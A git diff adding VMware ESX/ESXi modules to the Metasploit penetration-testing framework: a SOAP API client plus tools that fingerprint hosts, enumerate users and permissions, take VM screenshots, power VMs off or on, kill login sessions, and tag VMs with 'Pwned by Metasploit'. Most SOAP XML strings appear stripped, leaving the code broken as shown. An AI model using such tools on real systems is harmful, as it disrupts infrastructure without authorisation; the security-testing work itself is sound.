diff --git a/lib/msf/core/constants.rb b/lib/msf/core/constants.rb
index 26b9796eb0..cd4961529f 100644
--- a/lib/msf/core/constants.rb
+++ b/lib/msf/core/constants.rb
@@ -64,6 +64,12 @@ module OperatingSystems
FREEBSD = "FreeBSD"
NETBSD = "NetBSD"
OPENBSD = "OpenBSD"
+ VMWARE = "VMware"
+
+ module VmwareVersions
+ ESX = "ESX"
+ ESXI = "ESXi"
+ end
module WindowsVersions
NT = "NT"
diff --git a/lib/msf/core/exploit/vim_soap.rb b/lib/msf/core/exploit/vim_soap.rb
new file mode 100644
index 0000000000..28e8759926
--- /dev/null
+++ b/lib/msf/core/exploit/vim_soap.rb
@@ -0,0 +1,728 @@
+module Msf
+
+module Exploit::Remote::VIMSoap
+ include Msf::Exploit::Remote::HttpClient
+
+ def vim_soap_envelope(body)
+ soap_data = ''
+ soap_data << ''
+ soap_data << body
+ soap_data << ''
+ end
+
+
+
+ def vim_soap_propset(type,path,all = false)
+ soap_data = ''
+ soap_data << '' + type + ''
+ if all
+ soap_data << 'true'
+ else
+ soap_data << '' + path + ''
+ end
+ soap_data << ''
+ end
+
+
+
+ def vim_soap_objset(type, ref)
+ soap_data = ''
+ soap_data << '' + ref + ''
+ soap_data << ''
+ end
+
+
+
+ def vim_soap_specset(path,type,ref,all=false)
+ soap_data = ''
+ soap_data << vim_soap_propset(type,path,all)
+ soap_data << vim_soap_objset(type,ref)
+ soap_data << ''
+ end
+
+
+
+ def vim_soap_retrieve_properties(path,type,ref,all=false)
+ soap_data = ''
+ soap_data << '<_this type="PropertyCollector">' + @server_objects['propertyCollector'] + ''
+ soap_data << vim_soap_specset(path,type,ref,all)
+ soap_data << ''
+ end
+
+
+
+ def vim_soap_retrieve_service_content
+ soap_data = ''
+ soap_data << '<_this type="ServiceInstance">ServiceInstance'
+ soap_data << ''
+ end
+
+
+
+ def vim_soap_login(user,pass)
+ soap_data = ''
+ soap_data << '<_this type="SessionManager">' + @server_objects['sessionManager'] + ''
+ soap_data << '' + user + ''
+ soap_data << '' + pass + ''
+ soap_data << ''
+ end
+
+
+
+ def vim_soap_session_active?(key, user)
+ soap_data = ''
+ soap_data << '<_this type="SessionManager">' + @server_objects['sessionManager'] + ''
+ soap_data << '' + key+ ''
+ soap_data << '' + user + ''
+ soap_data << ''
+ end
+
+
+
+
+ def vim_soap_terminate_session(key)
+ soap_data = ''
+ soap_data << '<_this xsi:type="ManagedObjectReference" type="SessionManager" >' + @server_objects['sessionManager'] + ''
+ soap_data << '' + key + ''
+ soap_data << ''
+ end
+
+
+
+ def vim_soap_retrieve_usergroups(domain=nil)
+ soap_data = ''
+ soap_data << '<_this xsi:type="ManagedObjectReference" type="UserDirectory">' + @server_objects['userDirectory'] + ''
+ soap_data << '' + domain + '' if domain
+ soap_data << 'falsetruetrue'
+ soap_data << ''
+ end
+
+
+
+ def vim_soap_log_user_event_vm(vm_ref,msg)
+ soap_data = ''
+ soap_data << '<_this type="EventManager">' + @server_objects['eventManager'] + ''
+ soap_data << '' + vm_ref + ''
+ soap_data << '' + msg + ''
+ soap_data << ''
+ end
+
+
+
+ def vim_soap_retrieve_all_permissions
+ soap_data = ''
+ soap_data << '<_this type="AuthorizationManager">' + @server_objects['authorizationManager'] + ''
+ soap_data << ''
+ end
+
+
+
+ def vim_soap_find_child_byname(type,entity,name)
+ soap_data = ''
+ soap_data << '<_this type="SearchIndex">' + @server_objects['searchIndex'] + ''
+ soap_data << '' + entity + ''
+ soap_data << '' + name + ''
+ soap_data << ''
+ end
+
+
+
+ def vim_soap_power_on_vm(vm_ref)
+ soap_data = ''
+ soap_data << '<_this type="VirtualMachine">' + vm_ref + ''
+ soap_data << ''
+ end
+
+
+
+ def vim_soap_power_off_vm(vm_ref)
+ soap_data = ''
+ soap_data << '<_this type="VirtualMachine">' + vm_ref + ''
+ soap_data << ''
+ end
+
+
+
+ def vim_soap_create_screenshot(vm_ref)
+ soap_data = ''
+ soap_data << '<_this type="VirtualMachine">' + vm_ref + ''
+ soap_data << ''
+ end
+
+
+
+ def vim_send_soap_request(soap_data)
+ res = send_request_cgi({
+ 'uri' => '/sdk',
+ 'method' => 'POST',
+ 'agent' => 'VMware VI Client',
+ 'cookie' => @vim_cookie,
+ 'data' => soap_data,
+ 'headers' => { 'SOAPAction' => @soap_action}
+ }, 25)
+ return :noresponse unless res
+ if res.body.include? "NotAuthenticatedFault"
+ return :expired
+ elsif res.body.include? ""
+ @vim_soap_error = res.body.match(/([^\c ]+?)<\/faultstring>/)[1]
+ return :error
+ elsif res.code != 200
+ @vim_soap_error = "An unknown error was encountered"
+ return :error
+ else
+ return Hash.from_xml(res.body)['Envelope']['Body']
+ end
+ end
+
+
+
+ def vim_get_session
+ soap_data = vim_soap_envelope(vim_soap_retrieve_service_content)
+ res = send_request_cgi({
+ 'uri' => '/sdk',
+ 'method' => 'POST',
+ 'agent' => 'VMware VI Client',
+ 'data' => soap_data
+ }, 25)
+ return false unless res and res.code == 200
+ @server_objects = Hash.from_xml(res.body)['Envelope']['Body']['RetrieveServiceContentResponse']['returnval']
+ @soap_action = "urn:vim25/#{@server_objects['about']['apiVersion']}"
+ if res.headers['Set-Cookie']
+ @vim_cookie = res.headers['Set-Cookie']
+ return true
+ else
+ return false
+ end
+ end
+
+
+
+ def vim_do_login(user, pass)
+ unless vim_get_session
+ return false
+ end
+ soap_data = vim_soap_envelope(vim_soap_login(user,pass))
+ res = send_request_cgi({
+ 'uri' => '/sdk',
+ 'method' => 'POST',
+ 'agent' => 'VMware VI Client',
+ 'cookie' => @vim_cookie,
+ 'data' => soap_data,
+ 'headers' => { 'SOAPAction' => @soap_action}
+ }, 25)
+ if res.code == 200
+ return :success
+ else
+ return :fail
+ end
+ end
+
+
+
+ def vim_get_session_list
+ soap_data = vim_soap_envelope(vim_soap_retrieve_properties('sessionList','SessionManager', @server_objects['sessionManager']))
+ res = vim_send_soap_request(soap_data)
+ if res.class == Hash
+ session_list = []
+ session_list << res['RetrievePropertiesResponse']['returnval']['propSet']['val']['UserSession']
+ return session_list.flatten.compact
+ else
+ return res
+ end
+ end
+
+
+
+ def vim_session_is_active(key, username)
+ soap_data = vim_soap_envelope(vim_soap_session_active?(key,username))
+ res = vim_send_soap_request(soap_data)
+ if res.class == Hash
+ active = res['SessionIsActiveResponse']['returnval']
+ return active
+ else
+ return res
+ end
+ end
+
+
+
+ def vim_terminate_session(key)
+ soap_data = vim_soap_envelope(vim_soap_terminate_session(key))
+ res = vim_send_soap_request(soap_data)
+ if res.class == Hash
+ return :success
+ else
+ return res
+ end
+ end
+
+
+
+ def vim_get_domains
+ soap_data = vim_soap_envelope(vim_soap_retrieve_properties('domainList', 'UserDirectory', @server_objects['userDirectory']))
+ res = vim_send_soap_request(soap_data)
+ if res.class == Hash
+ domains = []
+ domains << res['RetrievePropertiesResponse']['returnval']['propSet']['val']['string']
+ return domains.flatten.compact
+ else
+ return res
+ end
+ end
+
+
+
+ def vim_get_user_list(domain=nil)
+ soap_data = vim_soap_envelope(vim_soap_retrieve_usergroups(domain))
+ res = vim_send_soap_request(soap_data)
+ if res.class == Hash
+ return nil unless res['RetrieveUserGroupsResponse']['returnval']
+ user_list = []
+ user_list << res['RetrieveUserGroupsResponse']['returnval']
+ return user_list.flatten.compact
+ else
+ return res
+ end
+ end
+
+
+
+ def vim_log_event_vm(vm_ref, msg)
+ soap_data = vim_soap_envelope(vim_soap_log_user_event_vm(vm_ref,msg))
+ res = vim_send_soap_request(soap_data)
+ if res.class == Hash
+ return :success
+ else
+ return res
+ end
+ end
+
+
+
+ def vim_get_all_permissions
+ soap_data = vim_soap_envelope(vim_soap_retrieve_all_permissions)
+ res = vim_send_soap_request(soap_data)
+ if res.class == Hash
+ permissions = []
+ permissions << res['RetrieveAllPermissionsResponse']['returnval']
+ return permissions.flatten.compact
+ else
+ return res
+ end
+ end
+
+
+
+ def vim_get_roles
+ soap_data = vim_soap_envelope(vim_soap_retrieve_properties('roleList', 'AuthorizationManager', @server_objects['authorizationManager']))
+ res = vim_send_soap_request(soap_data)
+ if res.class == Hash
+ roles = []
+ roles << res['RetrievePropertiesResponse']['returnval']['propSet']['val']['AuthorizationRole']
+ return roles.flatten.compact
+ else
+ return res
+ end
+ end
+
+
+
+ def vim_get_dc_name(dc)
+ soap_data = vim_soap_envelope(vim_soap_retrieve_properties('name','Datacenter',dc))
+ res = vim_send_soap_request(soap_data)
+ if res.class == Hash
+ return res['RetrievePropertiesResponse']['returnval']['propSet']['val']
+ else
+ return res
+ end
+ end
+
+
+ def vim_get_dcs
+ soap_data = vim_soap_envelope(vim_soap_retrieve_service_content)
+ res = vim_send_soap_request(soap_data)
+ if res.class == Hash
+ @server_objects.merge!(res['RetrieveServiceContentResponse']['returnval'])
+ else
+ return res
+ end
+
+ soap_data = vim_soap_envelope(vim_soap_retrieve_properties('content', 'ServiceInstance', 'ServiceInstance'))
+ res = vim_send_soap_request(soap_data)
+ if res.class == Hash
+ hash = res['RetrievePropertiesResponse']['returnval']['propSet']['val']
+ hash.delete('xsi:type')
+ @server_objects.merge!(hash)
+ else
+ return res
+ end
+
+ soap_data = vim_soap_envelope(vim_soap_retrieve_properties('childEntity', 'Folder', @server_objects['rootFolder']))
+ res = vim_send_soap_request(soap_data)
+ if res.class == Hash
+ tmp_dcs = []
+ tmp_dcs << res['RetrievePropertiesResponse']['returnval']['propSet']['val']['ManagedObjectReference']
+ tmp_dcs.flatten!
+ tmp_dcs.each{|dc| @dcs << { 'name' => vim_get_dc_name(dc) , 'ref' => dc}}
+ else
+ return res
+ end
+ end
+
+
+
+ def vim_get_hosts(datacenter)
+ dc_hosts = []
+ soap_data = vim_soap_envelope(vim_soap_retrieve_properties('hostFolder', 'Datacenter' , datacenter))
+ res = vim_send_soap_request(soap_data)
+ if res.class == Hash
+ host_folders = []
+ host_folders << res['RetrievePropertiesResponse']['returnval']['propSet']['val']
+ host_folders.flatten!
+ else
+ return res
+ end
+
+ compute_refs = []
+ host_folders.each do |folder|
+ soap_data = vim_soap_envelope(vim_soap_retrieve_properties('childEntity', 'Folder' , folder))
+ res = vim_send_soap_request(soap_data)
+ if res.class == Hash
+ ref = res['RetrievePropertiesResponse']['returnval']['propSet']['val']['ManagedObjectReference']
+ unless ref.nil?
+ compute_refs << ref
+ end
+ else
+ return res
+ end
+ end
+ compute_refs.flatten!
+
+ compute_refs.each do |ref|
+ next if ref.start_with? "group-"
+ soap_data = vim_soap_envelope(vim_soap_retrieve_properties('host', 'ComputeResource' , ref))
+ res = vim_send_soap_request(soap_data)
+ if res.class == Hash
+ dc_hosts << res['RetrievePropertiesResponse']['returnval']['propSet']['val']['ManagedObjectReference']
+ else
+ return res
+ end
+ end
+ dc_hosts.flatten!
+ return dc_hosts
+ end
+
+
+
+ def vim_get_all_hosts
+ @dcs.each{|dc| @hosts << vim_get_hosts(dc['ref'])}
+ @hosts.flatten!
+ end
+
+
+
+ def vim_get_host_hw(host)
+ soap_data = vim_soap_envelope(vim_soap_retrieve_properties('hardware', 'HostSystem' , host))
+ res = vim_send_soap_request(soap_data)
+ if res.class == Hash
+ return res['RetrievePropertiesResponse']['returnval']['propSet']['val']
+ else
+ return res
+ end
+ end
+
+ def vim_get_all_host_summary(hw=false)
+ vim_setup_references
+ summaries = []
+ @hosts.each do |host|
+ details = {}
+ details[host] = vim_get_host_summary(host)
+ if details and hw
+ details.merge!(vim_get_host_hw(host))
+ end
+ summaries << details
+ end
+ return summaries.flatten.compact
+ end
+
+ def vim_get_vm_datastore(vm)
+ soap_data = vim_soap_envelope(vim_soap_retrieve_properties('datastore', 'VirtualMachine' , vm))
+ res = vim_send_soap_request(soap_data)
+ if res.class == Hash
+ datastore_refs = []
+ datastore_refs << res['RetrievePropertiesResponse']['returnval']['propSet']['val']['ManagedObjectReference']
+ datastore_refs.flatten!
+ datastore_refs.compact!
+ datastores = []
+ else
+ return res
+ end
+
+ datastore_refs.each do |datastore_ref|
+ soap_data = vim_soap_envelope(vim_soap_retrieve_properties('info', 'Datastore' , datastore_ref))
+ res = vim_send_soap_request(soap_data)
+ if res.class == Hash
+ datastore_name = res['RetrievePropertiesResponse']['returnval']['propSet']['val']['name']
+ datastore = { 'name' => datastore_name, 'ref' => datastore_ref}
+ datastores << datastore
+ else
+ return res
+ end
+ end
+ return datastores
+
+ end
+
+ def vim_find_vm_by_name(name)
+ vim_setup_references
+ @dcs.each do |dc|
+ soap_data = vim_soap_envelope(vim_soap_retrieve_properties('vmFolder', 'Datacenter' , dc['ref']))
+ res = vim_send_soap_request(soap_data)
+ if res.class == Hash
+ vm_folders = []
+ vm_folders << res['RetrievePropertiesResponse']['returnval']['propSet']['val']
+ vm_folders.flatten!
+ vm_folders.compact!
+ else
+ return res
+ end
+
+
+ vm_folders.each do |vm_folder|
+ soap_data = vim_soap_envelope(vim_soap_find_child_byname('Folder', vm_folder, name))
+ res = vim_send_soap_request(soap_data)
+ if res.class == Hash
+ vmref = res['FindChildResponse']['returnval']
+ if vmref
+ return vmref
+ else
+ next
+ end
+ else
+ return res
+ end
+ end
+ end
+ return nil
+ end
+
+
+
+ def vim_powerON_vm(vm_ref)
+ soap_data = vim_soap_envelope(vim_soap_power_on_vm(vm_ref))
+ res = vim_send_soap_request(soap_data)
+ if res.class == Hash
+ task_id = res['PowerOnVM_TaskResponse']['returnval']
+ else
+ return res
+ end
+
+ state= "running"
+ while state == "running"
+ soap_data = vim_soap_envelope(vim_soap_retrieve_properties('info', 'Task', task_id))
+ res = vim_send_soap_request(soap_data)
+ if res.class == Hash
+ state = res['RetrievePropertiesResponse']['returnval']['propSet']['val']['state']
+ case state
+ when 'running'
+ select(nil, nil, nil, 5)
+ when 'error'
+ if res['RetrievePropertiesResponse']['returnval']['propSet']['val']['error']['fault']['existingState'] == 'poweredOn'
+ return 'alreadyON'
+ end
+ end
+ else
+ return res
+ end
+ end
+ return state
+ end
+
+
+
+ def vim_powerOFF_vm(vm_ref)
+ soap_data = vim_soap_envelope(vim_soap_power_off_vm(vm_ref))
+ res = vim_send_soap_request(soap_data)
+ if res.class == Hash
+ task_id = res['PowerOffVM_TaskResponse']['returnval']
+ else
+ return res
+ end
+
+ state= "running"
+ while state == "running"
+ soap_data = vim_soap_envelope(vim_soap_retrieve_properties('info', 'Task', task_id))
+ res = vim_send_soap_request(soap_data)
+ if res.class == Hash
+ state = res['RetrievePropertiesResponse']['returnval']['propSet']['val']['state']
+ case state
+ when 'running'
+ select(nil, nil, nil, 5)
+ when 'error'
+ if res['RetrievePropertiesResponse']['returnval']['propSet']['val']['error']['fault']['existingState'] == 'poweredOn'
+ return 'alreadyON'
+ end
+ end
+ else
+ return res
+ end
+ end
+ return state
+ end
+
+
+
+ def vim_take_screenshot(vm, user, pass)
+ soap_data = vim_soap_envelope(vim_soap_create_screenshot(vm['ref']))
+ res = vim_send_soap_request(soap_data)
+ if res.class == Hash
+ task_id = res['CreateScreenshot_TaskResponse']['returnval']
+ else
+ return res
+ end
+
+ state= "running"
+ while state == "running"
+ soap_data = vim_soap_envelope(vim_soap_retrieve_properties('info', 'Task', task_id))
+ res = vim_send_soap_request(soap_data)
+ if res.class == Hash
+ state = res['RetrievePropertiesResponse']['returnval']['propSet']['val']['state']
+ screenshot_file = res['RetrievePropertiesResponse']['returnval']['propSet']['val']['result']
+ else
+ return res
+ end
+ end
+ unless screenshot_file
+ return :error
+ end
+ (ss_folder, ss_file) = screenshot_file.split('/').last(2)
+ ss_folder = Rex::Text.uri_encode(ss_folder)
+ ss_file = Rex::Text.uri_encode(ss_file)
+ ss_path = "#{ss_folder}/#{ss_file}"
+ datastores = vim_get_vm_datastore(vm['ref'])
+ user_pass = Rex::Text.encode_base64(user + ":" + pass)
+ datastores.each do |datastore|
+ ss_uri = "/folder/#{ss_path}?dcPath=#{vm['dc_name']}&dsName=#{datastore['name']}"
+ res = send_request_cgi({
+ 'uri' => ss_uri,
+ 'method' => 'GET',
+ 'agent' => 'VMware VI Client',
+ 'cookie' => @vim_cookie,
+ 'headers' => { 'Authorization' => "Basic #{user_pass}"}
+ }, 25)
+ next unless res
+ if res.code == 200
+ return res.body
+ elsif res.code == 404
+ next
+ end
+ end
+ return :error
+ end
+
+
+
+ def vim_get_host_summary(host)
+ soap_data = vim_soap_envelope(vim_soap_retrieve_properties('summary', 'HostSystem', host))
+ res = vim_send_soap_request(soap_data)
+ if res.class == Hash
+ hash = res['RetrievePropertiesResponse']['returnval']['propSet']['val']
+ hash['runtime'].delete('healthSystemRuntime')
+ hash.delete('xsi:type')
+ hash.delete('host')
+ return hash
+ else
+ return res
+ end
+ end
+
+
+
+ def vim_get_vms
+ vim_setup_references
+ @vmrefs = []
+ vmlist= []
+ @dcs.each do |dc|
+ dc_vm_refs = vim_get_dc_vms(dc['ref'])
+ next if dc_vm_refs.nil? or dc_vm_refs.empty?
+ dc_vm_refs.flatten!
+ dc_vm_refs.compact!
+ next if dc_vm_refs.nil? or dc_vm_refs.empty?
+ print_status "#{datastore['RHOST']} - DataCenter: #{dc['name']} Found a Total of #{dc_vm_refs.length} VMs"
+ print_status "#{datastore['RHOST']} - DataCenter: #{dc['name']} Estimated Time: #{((dc_vm_refs.length * 7) /60)} Minutes"
+ dc_vm_refs.each do |ref|
+ print_status "#{datastore['RHOST']} - DataCenter: #{dc['name']} - Getting Data for VM: #{ref}..."
+ details = vim_get_vm_info(ref)
+ if details
+ details['ref'] = ref
+ details['dc_ref'] = dc['ref']
+ details['dc_name'] = dc['name']
+ vmlist << details
+ end
+ end
+ end
+ return vmlist
+ end
+
+
+
+ def vim_get_dc_vms(datacenter)
+ soap_data = vim_soap_envelope(vim_soap_retrieve_properties('vmFolder', 'Datacenter', datacenter))
+ res = vim_send_soap_request(soap_data)
+ if res.class == Hash
+ vmfolder = res['RetrievePropertiesResponse']['returnval']['propSet']['val']
+ else
+ return res
+ end
+
+ soap_data = vim_soap_envelope(vim_soap_retrieve_properties('childEntity', 'Folder', vmfolder))
+ res = vim_send_soap_request(soap_data)
+ if res.class == Hash
+ vm_index_array = res['RetrievePropertiesResponse']['returnval']['propSet']['val']['ManagedObjectReference']
+ vm_index_array.delete_if{|ref| ref.start_with? "group"} unless vm_index_array.nil? or vm_index_array.empty?
+ return vm_index_array
+ else
+ return res
+ end
+ end
+
+ def vim_get_vm_info(vm_ref)
+ vim_setup_references
+ soap_data = vim_soap_envelope(vim_soap_retrieve_properties('summary', 'VirtualMachine', vm_ref))
+ res = vim_send_soap_request(soap_data)
+ if res.class == Hash
+ hash = res['RetrievePropertiesResponse']['returnval']['propSet']['val']
+ vm = hash['config']
+ vm['runtime'] = hash['runtime']
+ vm['guest'] = hash['guest']
+ vm['quickStats'] = hash['quickStats']
+ return vm
+ else
+ return res
+ end
+ end
+
+ def vim_logged_in?
+ return true if @vim_cookie
+ return false
+ end
+
+ def vim_instance_vars_set?
+ return false if @server_objects.nil? or @server_objects.empty?
+ return false if @host.nil? or @host.empty?
+ return true
+ end
+
+ def vim_setup_references
+ unless vim_instance_vars_set?
+ @dcs = []
+ @hosts = []
+ vim_get_dcs
+ vim_get_all_hosts
+ @hosts.flatten!
+ @hosts.compact!
+ end
+ end
+
+end
+end
diff --git a/lib/msf/core/model/host.rb b/lib/msf/core/model/host.rb
index ce24da1fa5..15fc5d2ea1 100644
--- a/lib/msf/core/model/host.rb
+++ b/lib/msf/core/model/host.rb
@@ -685,6 +685,16 @@ class Host < ActiveRecord::Base
wtype['server'] = wtype['server'].to_i + points
end # End of s.info for SMTP
+ when 'https'
+ points = 101
+ case s.info
+ when /(VMware\s(ESXi?)).*\s([\d\.]+)/
+ # Very reliable fingerprinting from our own esx_fingerprint module
+ wname[$1] = wname[$1].to_i + (points * 5)
+ wflav[$3] = wflav[$3].to_i + (points * 5)
+ wtype['device'] = wtype['device'].to_i + points
+ end # End of s.info for HTTPS
+
when 'netbios'
points = 201
case s.info
diff --git a/modules/auxiliary/admin/vmware/poweroff_vm.rb b/modules/auxiliary/admin/vmware/poweroff_vm.rb
new file mode 100644
index 0000000000..20149c3e27
--- /dev/null
+++ b/modules/auxiliary/admin/vmware/poweroff_vm.rb
@@ -0,0 +1,74 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+
+require 'msf/core'
+require 'msf/core/exploit/vim_soap'
+
+
+class Metasploit3 < Msf::Auxiliary
+
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Auxiliary::Report
+ include Msf::Exploit::Remote::VIMSoap
+
+ def initialize
+ super(
+ 'Name' => 'VMWare Power Off Virtual Machine',
+ 'Description' => %Q{
+ This module will log into the Web API of VMWare and try to power off
+ a specified Virtual Machine.},
+ 'Author' => ['TheLightCosine '],
+ 'License' => MSF_LICENSE
+ )
+
+ register_options(
+ [
+ Opt::RPORT(443),
+ OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]),
+ OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]),
+ OptString.new('VM', [true, "The VM to try to Power Off"])
+ ], self.class)
+ end
+
+ def run
+ if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success
+ vm_ref = vim_find_vm_by_name(datastore['VM'])
+ case vm_ref
+ when String
+ return_state = vim_powerOFF_vm(vm_ref)
+ case return_state
+ when 'success'
+ print_good "VM Powered Off Successfully"
+ when 'alreadyOFF'
+ print_status "The Server says that VM #{datastore['VM']} is already off."
+ else
+ print_error "The server returned an unexpected status #{return_state}"
+ end
+ when :noresponse
+ print_error "The request timed out"
+ when :error
+ print_error @vim_soap_error
+ when nil
+ print_error "Could not locate VM #{datastore['VM']}"
+ end
+ else
+ print_error "Login Failure on #{datastore['RHOST']}"
+ return
+ end
+ end
+
+
+
+
+
+end
+
diff --git a/modules/auxiliary/admin/vmware/poweron_vm.rb b/modules/auxiliary/admin/vmware/poweron_vm.rb
new file mode 100644
index 0000000000..c9a16d1e1a
--- /dev/null
+++ b/modules/auxiliary/admin/vmware/poweron_vm.rb
@@ -0,0 +1,75 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+
+require 'msf/core'
+require 'msf/core/exploit/vim_soap'
+
+
+class Metasploit3 < Msf::Auxiliary
+
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Auxiliary::Report
+ include Msf::Exploit::Remote::VIMSoap
+
+ def initialize
+ super(
+ 'Name' => 'VMWare Power On Virtual Machine',
+ 'Description' => %Q{
+ This module will log into the Web API of VMWare and try to power on
+ a specified Virtual Machine.},
+ 'Author' => ['TheLightCosine '],
+ 'License' => MSF_LICENSE
+ )
+
+ register_options(
+ [
+ Opt::RPORT(443),
+ OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]),
+ OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]),
+ OptString.new('VM', [true, "The VM to try to Power On"])
+ ], self.class)
+ end
+
+ def run
+
+ if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success
+ vm_ref = vim_find_vm_by_name(datastore['VM'])
+ case vm_ref
+ when String
+ return_state = vim_powerON_vm(vm_ref)
+ case return_state
+ when 'success'
+ print_good "VM Powered On Successfully"
+ when 'alreadyON'
+ print_status "The Server says that VM #{datastore['VM']} is already on."
+ else
+ print_error "The server returned an unexpected status #{return_state}"
+ end
+ when :noresponse
+ print_error "The request timed out"
+ when :error
+ print_error @vim_soap_error
+ when nil
+ print_error "Could not locate VM #{datastore['VM']}"
+ end
+ else
+ print_error "Login Failure on #{datastore['RHOST']}"
+ return
+ end
+ end
+
+
+
+
+
+end
+
diff --git a/modules/auxiliary/admin/vmware/tag_vm.rb b/modules/auxiliary/admin/vmware/tag_vm.rb
new file mode 100644
index 0000000000..5939b2e6d6
--- /dev/null
+++ b/modules/auxiliary/admin/vmware/tag_vm.rb
@@ -0,0 +1,79 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+
+require 'msf/core'
+require 'msf/core/exploit/vim_soap'
+
+
+class Metasploit3 < Msf::Auxiliary
+
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Auxiliary::Report
+ include Msf::Exploit::Remote::VIMSoap
+
+ def initialize
+ super(
+ 'Name' => 'VMWare Tag Virtual Machine',
+ 'Description' => %Q{
+ This module will log into the Web API of VMWare and
+ 'tag' a specified Virtual Machine. It does this by
+ logging a user event with user supplied text},
+ 'Author' => ['TheLightCosine '],
+ 'License' => MSF_LICENSE
+ )
+
+ register_options(
+ [
+ Opt::RPORT(443),
+ OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]),
+ OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]),
+ OptString.new('VM', [true, "The VM to try to Power On"]),
+ OptString.new('MSG', [true, "The message to put in the log", 'Pwned by Metasploit'])
+ ], self.class)
+ end
+
+ def run
+
+ if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success
+ vm_ref = vim_find_vm_by_name(datastore['VM'])
+ case vm_ref
+ when String
+ result = vim_log_event_vm(vm_ref, datastore['MSG'])
+ case result
+ when :noresponse
+ print_error "Recieved no Response"
+ when :expired
+ print_error "The login session appears to have expired"
+ when :error
+ print_error "An error occured"
+ else
+ print_good "User Event logged"
+ end
+ when :noresponse
+ print_error "Recieved no Response"
+ when :expired
+ print_error "The login session appears to have expired"
+ when :error
+ print_error @vim_soap_error
+ end
+ else
+ print_error "Login Failure on #{datastore['RHOST']}"
+ return
+ end
+ end
+
+
+
+
+
+end
+
diff --git a/modules/auxiliary/admin/vmware/terminate_esx_sessions.rb b/modules/auxiliary/admin/vmware/terminate_esx_sessions.rb
new file mode 100644
index 0000000000..39320a16ee
--- /dev/null
+++ b/modules/auxiliary/admin/vmware/terminate_esx_sessions.rb
@@ -0,0 +1,66 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+
+require 'msf/core'
+require 'msf/core/exploit/vim_soap'
+
+
+class Metasploit3 < Msf::Auxiliary
+
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Auxiliary::Report
+ include Msf::Exploit::Remote::VIMSoap
+
+ def initialize
+ super(
+ 'Name' => 'VMWare Terminate ESX Login Sessions',
+ 'Description' => %Q{
+ This module will log into the Web API of VMWare and try to terminate
+ user login sessions as specified by the session keys.},
+ 'Author' => ['TheLightCosine '],
+ 'License' => MSF_LICENSE
+ )
+
+ register_options(
+ [
+ Opt::RPORT(443),
+ OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]),
+ OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]),
+ OptString.new('KEYS', [true, "The session key to terminate"])
+ ], self.class)
+ end
+
+ def run
+
+ if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success
+ Shellwords.split(datastore['KEYS']).each do |key|
+ result = vim_terminate_session(key)
+ case result
+ when :notfound
+ print_error "The specified Session was not found. Check your key: #{key}"
+ when :success
+ print_good "The supplied session was terminated successfully: #{key}"
+ when :error
+ print_error "There was an error encountered terminating: #{key}"
+ end
+ end
+ else
+ print_error "Login Failure on #{datastore['RHOST']}"
+ return
+ end
+ end
+
+
+
+
+end
+
diff --git a/modules/auxiliary/scanner/vmware/esx_fingerprint.rb b/modules/auxiliary/scanner/vmware/esx_fingerprint.rb
new file mode 100644
index 0000000000..0d42ed7bf6
--- /dev/null
+++ b/modules/auxiliary/scanner/vmware/esx_fingerprint.rb
@@ -0,0 +1,99 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+
+require 'msf/core'
+require 'msf/core/exploit/vim_soap'
+
+
+class Metasploit3 < Msf::Auxiliary
+
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Auxiliary::Report
+ include Msf::Exploit::Remote::VIMSoap
+ include Msf::Auxiliary::Scanner
+
+ def initialize
+ super(
+ 'Name' => 'VMWare ESX/ESXi Fingerprint Scanner',
+ 'Version' => '$Revision$',
+ 'Description' => %Q{
+ This module accesses the web API interfaces for VMware ESX/ESXi servers
+ and attempts to identify version information for that server.},
+ 'Author' => ['TheLightCosine '],
+ 'License' => MSF_LICENSE
+ )
+
+ register_options([Opt::RPORT(443)], self.class)
+ end
+
+
+ def run_host(ip)
+ soap_data =
+ %Q|
+
+
+ <_this type="ServiceInstance">ServiceInstance
+
+
+ |
+ datastore['URI'] ||= "/sdk"
+ res = nil
+ begin
+ res = send_request_cgi({
+ 'uri' => datastore['URI'],
+ 'method' => 'POST',
+ 'agent' => 'VMware VI Client',
+ 'data' => soap_data
+ }, 25)
+ rescue ::Rex::ConnectionError => e
+ vprint_error("http://#{ip}:#{rport}#{datastore['URI']} - #{e}")
+ return false
+ rescue
+ vprint_error("Skipping #{ip} due to error - #{e}")
+ return false
+ end
+ fingerprint_vmware(ip,res)
+ end
+
+ # Takes an ip address and a response, and just checks the response
+ # to pull out version info. If it's ESX, report the OS as ESX (since
+ # it's a hypervisor deal then). Otherwise, just report the service.
+ # XXX: report_service is stomping on the report_host OS. This is le suck.
